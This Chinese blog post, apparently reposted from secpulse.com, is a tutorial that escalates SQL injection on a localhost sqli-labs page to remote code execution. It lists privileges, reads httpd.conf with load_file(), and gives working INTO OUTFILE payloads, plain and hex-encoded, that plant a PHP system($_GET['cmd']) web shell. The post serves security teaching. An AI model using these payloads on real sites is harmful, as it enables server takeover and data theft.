记一次SQL注入到RCE的漏洞挖掘
2023-4-18 11:14:52 Author: www.secpulse.com(查看原文) 阅读量:53 收藏

SQL 注入是一种针对使用 SQL(结构化查询语言)数据库的 Web 应用程序的攻击。攻击涉及将恶意 SQL 代码注入 Web 应用程序的输入字段,然后可以由应用程序的数据库执行。

SQL 注入攻击旨在利用应用程序代码中的漏洞,使攻击者能够访问敏感信息或操纵数据库。例如,攻击者可以使用 SQL 注入窃取用户凭据并修改或删除数据

所以有一个不同的场景,如果当前数据库用户有写权限,我们可以获得 RCE(远程代码执行)

易受攻击的应用程序:http://localhost/sqlilabs/practice/example1.php?id=1

我要检查当前的数据库用户名以及用户是否有写权限

我将简单地调用用户函数user()来打印当前数据库的用户名

它会像那样输出

所以我们必须检查用户 root 是否有写权限

我们将执行查询“(select group_concat(grantee,is_grantable,0x3c62723e) from information_schema.user_privileges)”

我得到了这样的输出

所以我们现在有写入权限,我们可以使用outfile在服务器上写入

还有两件事 1:我们需要一个服务器路径 2:一个可写目录

对于路径泄露,我们可以尝试读取服务器上的配置文件,如httpd.conf 或 access_log等 ,这取决于 我们找到httpd.conf文件的服务器 ,我们可以获得服务器路径

现在我们将使用load_file()函数来读取“ httpd.conf”

读取配置文件后我们得到了服务器路径

现在我们可以使用outfile写入以在服务器上获取 RCE

http://localhost/sqlilabs/practice/example1.php?id=1' and 0 union select 1,<?php system($_GET['cmd']); ?>,3 进入输出文件 '/opt/lampp/htdocs/shell.php' - +

如果它不起作用尝试使用十六进制编码

http://localhost/sqlilabs/practice/example1.php?id=1' and 0 union select 1,0x3c3f7068702073797374656d28245f4745545b27636d64275d293b203f3e,3 into outfile '/opt/lampp/htdocs/shell.php' - +

本文作者:HACK_Learn

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/199151.html


文章来源: https://www.secpulse.com/archives/199151.html
如有侵权请联系:admin#unsafe.sh